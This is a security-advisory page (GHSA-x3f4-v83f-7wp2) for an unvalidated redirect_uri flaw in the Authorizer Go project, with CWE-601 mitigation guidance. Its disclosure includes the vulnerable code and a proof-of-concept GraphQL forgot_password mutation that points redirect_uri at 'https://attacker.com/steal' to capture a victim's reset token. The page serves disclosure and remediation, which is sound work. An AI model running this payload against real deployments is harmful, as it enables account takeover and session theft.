  • No authentication required to trigger (the GraphQL mutations are public)
  • Victim only needs to click the email link from their trusted Authorizer instance

Additional Note

The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/authorizerdev/authorizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260329085140-6d9bef1aaba3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T17:59:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n        redirectURI = refs.StringValue(params.RedirectURI)\n    }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n    func GetForgotPasswordURL(token, redirectURI string) string {\n        verificationURL := redirectURI + \"?token=\" + token\n        return verificationURL\n    }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n        c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n        return\n    }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n    params := \"access_token=\" + authToken.AccessToken.Token +\n        \"\u0026token_type=bearer\u0026expires_in=\" + ... +\n        \"\u0026id_token=\" + authToken.IDToken.Token + \"\u0026nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim\u0027s access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker\u0027s server access logs, the victim\u0027s browser history, and any third-party analytics scripts on the attacker\u0027s page via the `Referer` header.\n\n## PoC\n\n    mutation {\n      forgot_password(params: {\n        email: \"victim@example.com\"\n        redirect_uri: \"https://attacker.com/steal\"\n      }) {\n        message\n      }\n    }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=\u003creset_token\u003e`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint\u0027s validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef",
  "id": "GHSA-x3f4-v83f-7wp2",
  "modified": "2026-04-06T17:59:27Z",
  "published": "2026-04-06T17:59:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authorizerdev/authorizer/pull/502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authorizerdev/authorizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri"
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Mitigation MIT-21.2
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-178: Cross-Site Flashing

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.